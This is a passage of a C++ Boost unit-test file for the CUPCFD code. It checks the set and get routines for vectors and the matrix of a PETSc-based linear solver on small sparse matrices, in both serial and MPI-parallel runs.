fullResultCmp[8] = {0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8};\n\n\tstatus = solver.getValuesVectorX(&fullResult, &nFullResult);\n\tBOOST_CHECK_EQUAL(nFullResult, 8);\n\tBOOST_CHECK_EQUAL_COLLECTIONS(fullResult, fullResult + 8, fullResultCmp, fullResultCmp + 8);\n\tfree(fullResult);\n}\n\n// Test 6: Set values to specific indices + retrieve those indices (parallel) - off-node rows,\n// using different bases for the indices\nBOOST_AUTO_TEST_CASE(set_getValuesVectorX_test6)\n{\n\n}\n\n// ============== setValuesVectorB/getValuesVectorB ===================\n// Note: For these tests we can only presume that the values are set correctly\n// without error till the getters are tested....\n\n// Test 1: Set all values to same scalar + get all values (serial)\nBOOST_AUTO_TEST_CASE(set_getValuesVectorB_test1)\n{\n\tcupcfd::error::eCodes status;\n\tcupcfd::comm::Communicator comm;\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(8, 8, 0);\n\n\tint rows[13] = {0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 6, 7};\n\tint cols[13] = {0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 7};\n\tdouble vals[13] = {0.1, 0.2, 0.1, 0.05, 0.07, 0.09, 0.06, 0.1, 0.15, 0.23, 0.11, 0.13, 0.09};\n\n\tfor(int i = 0; i < 13; i++)\n\t{\n\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\t// Setup\n\tstatus = solver.setupVectorB();\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t// Test and check\n\tstatus = solver.setValuesVectorB(2.5);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\tdouble * result;\n\tint nResult;\n\tdouble resultCmp[8] = {2.5, 2.5, 2.5, 2.5, 2.5, 2.5, 2.5, 2.5};\n\tstatus = solver.getValuesVectorB(&result, &nResult);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(nResult, 8);\n\tBOOST_CHECK_EQUAL_COLLECTIONS(result, result + 8, resultCmp, resultCmp + 8);\n}\n\n// Test 2: Set all values to same scalar + get all values (parallel)\nBOOST_AUTO_TEST_CASE(set_getValuesVectorB_test2)\n{\n\tcupcfd::error::eCodes status;\n\tcupcfd::comm::Communicator comm(MPI_COMM_WORLD);\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(8, 8, 0);\n\n\tif(comm.rank == 0)\n\t{\n\t\tint rows[5] = {0, 0, 1, 1, 2};\n\t\tint cols[5] = {0, 1, 1, 2, 2};\n\t\tdouble vals[5] = {0.1, 0.2, 0.1, 0.05, 0.07};\n\n\t\tfor(int i = 0; i < 5; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 1)\n\t{\n\t\tint rows[3] = {2, 3, 3};\n\t\tint cols[3] = {3, 3, 4};\n\t\tdouble vals[3] = {0.09, 0.06, 0.1};\n\n\t\tfor(int i = 0; i < 3; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 2)\n\t{\n\t\tint rows[3] = {4, 4, 5};\n\t\tint cols[3] = {4, 5, 5};\n\t\tdouble vals[3] = {0.15, 0.23, 0.11};\n\n\t\tfor(int i = 0; i < 3; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 3)\n\t{\n\t\tint rows[2] = {6, 7};\n\t\tint cols[2] = {6, 7};\n\t\tdouble vals[2] = {0.13, 0.09};\n\n\t\tfor(int i = 0; i < 2; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\t// Setup\n\tstatus = solver.setupVectorB();\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t// Test and check\n\tstatus = solver.setValuesVectorB(2.5);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\tdouble * result;\n\tint nResult;\n\tdouble resultCmp[8] = {2.5, 2.5, 2.5, 2.5, 2.5, 2.5, 2.5, 2.5};\n\n\tstatus = solver.getValuesVectorB(&result, &nResult);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(nResult, 8);\n\tBOOST_CHECK_EQUAL_COLLECTIONS(result, result + 8, resultCmp, resultCmp + 8);\n}\n\n// Test 3: Set values to specific indices + retrieve those indices (serial) - all local rows\nBOOST_AUTO_TEST_CASE(set_getValuesVectorB_test3)\n{\n\tcupcfd::error::eCodes status;\n\tcupcfd::comm::Communicator comm;\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(8, 8, 0);\n\n\tint rows[13] = {0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 6, 7};\n\tint cols[13] = {0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 7};\n\tdouble matvals[13] = {0.1, 0.2, 0.1, 0.05, 0.07, 0.09, 0.06, 0.1, 0.15, 0.23, 0.11, 0.13, 0.09};\n\n\tfor(int i = 0; i < 13; i++)\n\t{\n\t\tstatus = matrix.setElement(rows[i], cols[i], matvals[i]);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\t// Setup\n\tstatus = solver.setupVectorB();\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\tint indices[4] = {2, 5, 3, 7};\n\tdouble vals[4] = {0.5, 0.3, 0.6, 0.1};\n\n\tdouble * result;\n\tint nResult;\n\n\tdouble * fullResult;\n\tint nFullResult;\n\tdouble fullResultCmp[8] = {0.0, 0.0, 0.5, 0.6, 0.0, 0.3, 0.0, 0.1};\n\n\tstatus = solver.setValuesVectorB(0.0);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\tstatus = solver.setValuesVectorB(vals, 4, indices, 4, 0);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\tstatus = solver.getValuesVectorB(&result, &nResult, indices, 4, 0);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(nResult, 4);\n\tBOOST_CHECK_EQUAL_COLLECTIONS(result, result + 4, vals, vals + 4);\n\n\tstatus = solver.getValuesVectorB(&fullResult, &nFullResult);\n\tBOOST_CHECK_EQUAL(nFullResult, 8);\n\tBOOST_CHECK_EQUAL_COLLECTIONS(fullResult, fullResult + 8, fullResultCmp, fullResultCmp + 8);\n}\n\n// Test 4: Set values to specific indices + retrieve those indices (parallel) - all local rows\nBOOST_AUTO_TEST_CASE(set_getValuesVectorB_test4)\n{\n\tcupcfd::error::eCodes status;\n\tcupcfd::comm::Communicator comm(MPI_COMM_WORLD);\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(8, 8, 0);\n\n\tif(comm.rank == 0)\n\t{\n\t\tint rows[5] = {0, 0, 1, 1, 2};\n\t\tint cols[5] = {0, 1, 1, 2, 2};\n\t\tdouble vals[5] = {0.1, 0.2, 0.1, 0.05, 0.07};\n\n\t\tfor(int i = 0; i < 5; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 1)\n\t{\n\t\tint rows[3] = {2, 3, 3};\n\t\tint cols[3] = {3, 3, 4};\n\t\tdouble vals[3] = {0.09, 0.06, 0.1};\n\n\t\tfor(int i = 0; i < 3; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 2)\n\t{\n\t\tint rows[3] = {4, 4, 5};\n\t\tint cols[3] = {4, 5, 5};\n\t\tdouble vals[3] = {0.15, 0.23, 0.11};\n\n\t\tfor(int i = 0; i < 3; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 3)\n\t{\n\t\tint rows[2] = {6, 7};\n\t\tint cols[2] = {6, 7};\n\t\tdouble vals[2] = {0.13, 0.09};\n\n\t\tfor(int i = 0; i < 2; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\t// Setup\n\tstatus = solver.setupVectorB();\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t// Check they are actually local rows\n\tPetscInt rangeCmp[5] = {0, 2, 4, 6, 8};\n\tBOOST_CHECK_EQUAL_COLLECTIONS(rangeCmp, rangeCmp + 5, solver.xRanges, solver.xRanges + 5);\n\n\tdouble * fullResult;\n\tint nFullResult;\n\tdouble fullResultCmp[8] = {0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8};\n\n\tdouble * result;\n\tint nResult;\n\n\tstatus = solver.setValuesVectorB(0.0);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\tif(comm.rank == 0)\n\t{\n\t\tint indices[2] = {0, 1};\n\t\tdouble vals[2] = {0.1, 0.2};\n\n\t\tstatus = solver.setValuesVectorB(vals, 2, indices, 2, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t\tstatus = solver.getValuesVectorB(&result, &nResult, indices, 2, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\tBOOST_CHECK_EQUAL(nResult, 2);\n\t\tBOOST_CHECK_EQUAL_COLLECTIONS(result, result + 2, vals, vals + 2);\n\t\tfree(result);\n\t}\n\telse if(comm.rank == 1)\n\t{\n\t\tint indices[2] = {2, 3};\n\t\tdouble vals[2] = {0.3, 0.4};\n\n\t\tstatus = solver.setValuesVectorB(vals, 2, indices, 2, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t\tstatus = solver.getValuesVectorB(&result, &nResult, indices, 2, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\tBOOST_CHECK_EQUAL(nResult, 2);\n\t\tBOOST_CHECK_EQUAL_COLLECTIONS(result, result + 2, vals, vals + 2);\n\t\tfree(result);\n\t}\n\telse if(comm.rank == 2)\n\t{\n\t\tint indices[2] = {4, 5};\n\t\tdouble vals[2] = {0.5, 0.6};\n\n\t\tstatus = solver.setValuesVectorB(vals, 2, indices, 2, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t\tstatus = solver.getValuesVectorB(&result, &nResult, indices, 2, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\tBOOST_CHECK_EQUAL(nResult, 2);\n\t\tBOOST_CHECK_EQUAL_COLLECTIONS(result, result + 2, vals, vals + 2);\n\t\tfree(result);\n\t}\n\telse if(comm.rank == 3)\n\t{\n\t\tint indices[2] = {6, 7};\n\t\tdouble vals[2] = {0.7, 0.8};\n\n\t\tstatus = solver.setValuesVectorB(vals, 2, indices, 2, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t\tstatus = solver.getValuesVectorB(&result, &nResult, indices, 2, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\tBOOST_CHECK_EQUAL(nResult, 2);\n\t\tBOOST_CHECK_EQUAL_COLLECTIONS(result, result + 2, vals, vals + 2);\n\t\tfree(result);\n\t}\n\n\t// Test all values set correctly too.\n\tstatus = solver.getValuesVectorB(&fullResult, &nFullResult);\n\tBOOST_CHECK_EQUAL(nFullResult, 8);\n\tBOOST_CHECK_EQUAL_COLLECTIONS(fullResult, fullResult + 8, fullResultCmp, fullResultCmp + 8);\n\tfree(fullResult);\n}\n\n// Test 5: Set values to specific indices + retrieve those indices (parallel) - off-node rows\nBOOST_AUTO_TEST_CASE(set_getValuesVectorB_test5)\n{\n\tcupcfd::error::eCodes status;\n\tcupcfd::comm::Communicator comm(MPI_COMM_WORLD);\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(8, 8, 0);\n\n\tif(comm.rank == 0)\n\t{\n\t\tint rows[5] = {0, 0, 1, 1, 2};\n\t\tint cols[5] = {0, 1, 1, 2, 2};\n\t\tdouble vals[5] = {0.1, 0.2, 0.1, 0.05, 0.07};\n\n\t\tfor(int i = 0; i < 5; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 1)\n\t{\n\t\tint rows[3] = {2, 3, 3};\n\t\tint cols[3] = {3, 3, 4};\n\t\tdouble vals[3] = {0.09, 0.06, 0.1};\n\n\t\tfor(int i = 0; i < 3; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 2)\n\t{\n\t\tint rows[3] = {4, 4, 5};\n\t\tint cols[3] = {4, 5, 5};\n\t\tdouble vals[3] = {0.15, 0.23, 0.11};\n\n\t\tfor(int i = 0; i < 3; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 3)\n\t{\n\t\tint rows[2] = {6, 7};\n\t\tint cols[2] = {6, 7};\n\t\tdouble vals[2] = {0.13, 0.09};\n\n\t\tfor(int i = 0; i < 2; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\t// Setup\n\tstatus = solver.setupVectorB();\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t// Check they are actually local rows\n\tPetscInt rangeCmp[5] = {0, 2, 4, 6, 8};\n\tBOOST_CHECK_EQUAL_COLLECTIONS(rangeCmp, rangeCmp + 5, solver.xRanges, solver.xRanges + 5);\n\tBOOST_CHECK_EQUAL_COLLECTIONS(rangeCmp, rangeCmp + 5, solver.bRanges, solver.bRanges + 5);\n\tBOOST_CHECK_EQUAL_COLLECTIONS(rangeCmp, rangeCmp + 5, solver.aRanges, solver.aRanges + 5);\n\n\n\tdouble * result;\n\tint nResult;\n\n\tstatus = solver.setValuesVectorB(0.0);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\tif(comm.rank == 0)\n\t{\n\t\tint indices[4] = {0, 1, 2, 5};\n\t\tdouble vals[4] = {0.1, 0.2, 0.3, 0.6};\n\n\t\tstatus = solver.setValuesVectorB(vals, 4, indices, 4, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t\tstatus = solver.getValuesVectorB(&result, &nResult, indices, 4, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\tBOOST_CHECK_EQUAL(nResult, 4);\n\t\tBOOST_CHECK_EQUAL_COLLECTIONS(result, result + 4, vals, vals + 4);\n\t\t//free(result);\n\t}\n\telse if(comm.rank == 1)\n\t{\n\t\tint indices[1] = {3};\n\t\tdouble vals[1] = {0.4};\n\n\t\tstatus = solver.setValuesVectorB(vals, 1, indices, 1, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t\tstatus = solver.getValuesVectorB(&result, &nResult, indices, 1, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\tBOOST_CHECK_EQUAL(nResult, 1);\n\t\tBOOST_CHECK_EQUAL_COLLECTIONS(result, result + 1, vals, vals + 1);\n\t\t//free(result);\n\t}\n\telse if(comm.rank == 2)\n\t{\n\t\tint indices[2] = {4, 7};\n\t\tdouble vals[2] = {0.5, 0.8};\n\n\t\tstatus = solver.setValuesVectorB(vals, 2, indices, 2, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t\tstatus = solver.getValuesVectorB(&result, &nResult, indices, 2, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\tBOOST_CHECK_EQUAL(nResult, 2);\n\t\tBOOST_CHECK_EQUAL_COLLECTIONS(result, result + 2, vals, vals + 2);\n\t\t//free(result);\n\t}\n\telse if(comm.rank == 3)\n\t{\n\t\tint indices[1] = {6};\n\t\tdouble vals[1] = {0.7};\n\n\t\tstatus = solver.setValuesVectorB(vals, 1, indices, 1, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t\tstatus = solver.getValuesVectorB(&result, &nResult, indices, 1, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\tBOOST_CHECK_EQUAL(nResult, 1);\n\t\tBOOST_CHECK_EQUAL_COLLECTIONS(result, result + 1, vals, vals + 1);\n\t\t//free(result);\n\t}\n\n\t// Test all values set correctly too.\n\tdouble * fullResult;\n\tint nFullResult;\n\tdouble fullResultCmp[8] = {0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8};\n\n\tstatus = solver.getValuesVectorB(&fullResult, &nFullResult);\n\tBOOST_CHECK_EQUAL(nFullResult, 8);\n\tBOOST_CHECK_EQUAL_COLLECTIONS(fullResult, fullResult + 8, fullResultCmp, fullResultCmp + 8);\n\tfree(fullResult);\n}\n\n// Test 6: Set values to specific indices + retrieve those indices (parallel) - off-node rows,\n// using different bases for the indices\nBOOST_AUTO_TEST_CASE(set_getValuesVectorB_test6)\n{\n\n}\n\n// ============== setValuesMatrixA/getValuesMatrixA ===================\n\n// Test 1: Set/Get all non-zero values from provided matrix - serial\nBOOST_AUTO_TEST_CASE(set_getValuesMatrixA_test1)\n{\n\tcupcfd::error::eCodes status;\n\tcupcfd::comm::Communicator comm;\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(8, 8, 0);\n\n\tint rows[13] = {0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 6, 7};\n\tint cols[13] = {0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 7};\n\tdouble vals[13] = {0.1, 0.2, 0.1, 0.05, 0.07, 0.09, 0.06, 0.1, 0.15, 0.23, 0.11, 0.13, 0.09};\n\n\tfor(int i = 0; i < 13; i++)\n\t{\n\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\t// === Setup ===\n\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> resultMatrix(8, 8, 0);\n\n\tint resultRowsCmp[64] = {0, 0, 0, 0, 0, 0, 0, 0,\n\t\t\t\t\t\t 1, 1, 1, 1, 1, 1, 1, 1,\n\t\t\t\t\t\t 2, 2, 2, 2, 2, 2, 2, 2,\n\t\t\t\t\t\t 3, 3, 3, 3, 3, 3, 3, 3,\n\t\t\t\t\t\t 4, 4, 4, 4, 4, 4, 4, 4,\n\t\t\t\t\t\t 5, 5, 5, 5, 5, 5, 5, 5,\n\t\t\t\t\t\t 6, 6, 6, 6, 6, 6, 6, 6,\n\t\t\t\t\t\t 7, 7, 7, 7, 7, 7, 7, 7};\n\n\n\tint resultColsCmp[64] = {0, 1, 2, 3, 4, 5, 6, 7,\n\t\t\t\t\t\t\t 0, 1, 2, 3, 4, 5, 6, 7,\n\t\t\t\t\t\t\t 0, 1, 2, 3, 4, 5, 6, 7,\n\t\t\t\t\t\t\t 0, 1, 2, 3, 4, 5, 6, 7,\n\t\t\t\t\t\t\t 0, 1, 2, 3, 4, 5, 6, 7,\n\t\t\t\t\t\t\t 0, 1, 2, 3, 4, 5, 6, 7,\n\t\t\t\t\t\t\t 0, 1, 2, 3, 4, 5, 6, 7,\n\t\t\t\t\t\t\t 0, 1, 2, 3, 4, 5, 6, 7};\n\n\t// Note we don't set all values of the resultMatrix, so we only retrieve specific elements from those set by matrix\n\tint resultRows[8] =    {0,   1,   2,    3,    4,    5,    6,    7};\n\tint resultCols[8] =    {0,   1,   2,    3,    4,    5,    6,    7};\n\n\tdouble resultValsCmp[64] = {0.1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n\t\t\t\t\t\t\t 0.0, 0.1, 0.00, 0.0, 0.0, 0.0, 0.0, 0.0,\n\t\t\t\t\t\t\t 0.0, 0.0, 0.07, 0.0, 0.0, 0.0, 0.0, 0.0,\n\t\t\t\t\t\t\t 0.0, 0.0, 0.0, 0.06, 0.0, 0.0, 0.0, 0.0,\n\t\t\t\t\t\t\t 0.0, 0.0, 0.0, 0.0, 0.15, 0.0, 0.0, 0.0,\n\t\t\t\t\t\t\t 0.0, 0.0, 0.0, 0.0, 0.0, 0.11, 0.0, 0.0,\n\t\t\t\t\t\t\t 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.13, 0.0,\n\t\t\t\t\t\t\t 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.09};\n\n\tfor(int i = 0; i < 8; i++)\n\t{\n\t\t// Set the values so they register as 'non-zero' for copies\n\t\tstatus = resultMatrix.setElement(resultRows[i], resultCols[i], 0.0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t}\n\n\t// Setup the Matrix\n\tstatus = solver.setupMatrixA(matrix);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t// Test and Check\n\t// Set the values inside the matrix\n\tstatus = solver.setValuesMatrixA(matrix);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t// Retrieve values via the function and check they are what we expect\n\tstatus = solver.getValuesMatrixA(resultMatrix);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\tfor(int i = 0; i < 64; i++)\n\t{\n\t\tdouble val;\n\t\tstatus = resultMatrix.getElement(resultRowsCmp[i], resultColsCmp[i], &val);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\tBOOST_CHECK_EQUAL(resultValsCmp[i], val);\n\t}\n}\n\n// Test 2: Set all non-zero values from provided matrix - parallel\nBOOST_AUTO_TEST_CASE(set_getValuesMatrixA_test2)\n{\n\n}\n\n// ============== clearVectorX ===================\n// Test 1: Set all values to same scalar and then clear\nBOOST_AUTO_TEST_CASE(clearVectorX_test1)\n{\n\tcupcfd::error::eCodes status;\n\tcupcfd::comm::Communicator comm;\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(8, 8, 0);\n\n\tint rows[13] = {0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 6, 7};\n\tint cols[13] = {0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 7};\n\tdouble vals[13] = {0.1, 0.2, 0.1, 0.05, 0.07, 0.09, 0.06, 0.1, 0.15, 0.23, 0.11, 0.13, 0.09};\n\n\tfor(int i = 0; i < 13; i++)\n\t{\n\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\t// Setup\n\tstatus = solver.setupVectorX();\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t// Test and check\n\tstatus = solver.setValuesVectorX(2.5);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\tdouble * result;\n\tint nResult;\n\tdouble resultCmp[8] = {2.5, 2.5, 2.5, 2.5, 2.5, 2.5, 2.5, 2.5};\n\tstatus = solver.getValuesVectorX(&result, &nResult);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(nResult, 8);\n\tBOOST_CHECK_EQUAL_COLLECTIONS(result, result + 8, resultCmp, resultCmp + 8);\n\tfree(result);\n\n\tdouble result2Cmp[8] = {0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0};\n\tstatus = solver.clearVectorX();\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tstatus = solver.getValuesVectorX(&result, &nResult);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL_COLLECTIONS(result, result + 8, result2Cmp, result2Cmp + 8);\n\tfree(result);\n}\n\n// Test 2: Set all values to same scalar + get all values (parallel)\nBOOST_AUTO_TEST_CASE(clearVectorX_test2)\n{\n\tcupcfd::error::eCodes status;\n\tcupcfd::comm::Communicator comm(MPI_COMM_WORLD);\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(8, 8, 0);\n\n\tif(comm.rank == 0)\n\t{\n\t\tint rows[5] = {0, 0, 1, 1, 2};\n\t\tint cols[5] = {0, 1, 1, 2, 2};\n\t\tdouble vals[5] = {0.1, 0.2, 0.1, 0.05, 0.07};\n\n\t\tfor(int i = 0; i < 5; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 1)\n\t{\n\t\tint rows[3] = {2, 3, 3};\n\t\tint cols[3] = {3, 3, 4};\n\t\tdouble vals[3] = {0.09, 0.06, 0.1};\n\n\t\tfor(int i = 0; i < 3; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 2)\n\t{\n\t\tint rows[3] = {4, 4, 5};\n\t\tint cols[3] = {4, 5, 5};\n\t\tdouble vals[3] = {0.15, 0.23, 0.11};\n\n\t\tfor(int i = 0; i < 3; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 3)\n\t{\n\t\tint rows[2] = {6, 7};\n\t\tint cols[2] = {6, 7};\n\t\tdouble vals[2] = {0.13, 0.09};\n\n\t\tfor(int i = 0; i < 2; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\t// Setup\n\tstatus = solver.setupVectorX();\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t// Test and check\n\tstatus = solver.setValuesVectorX(2.5);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\tdouble * result;\n\tint 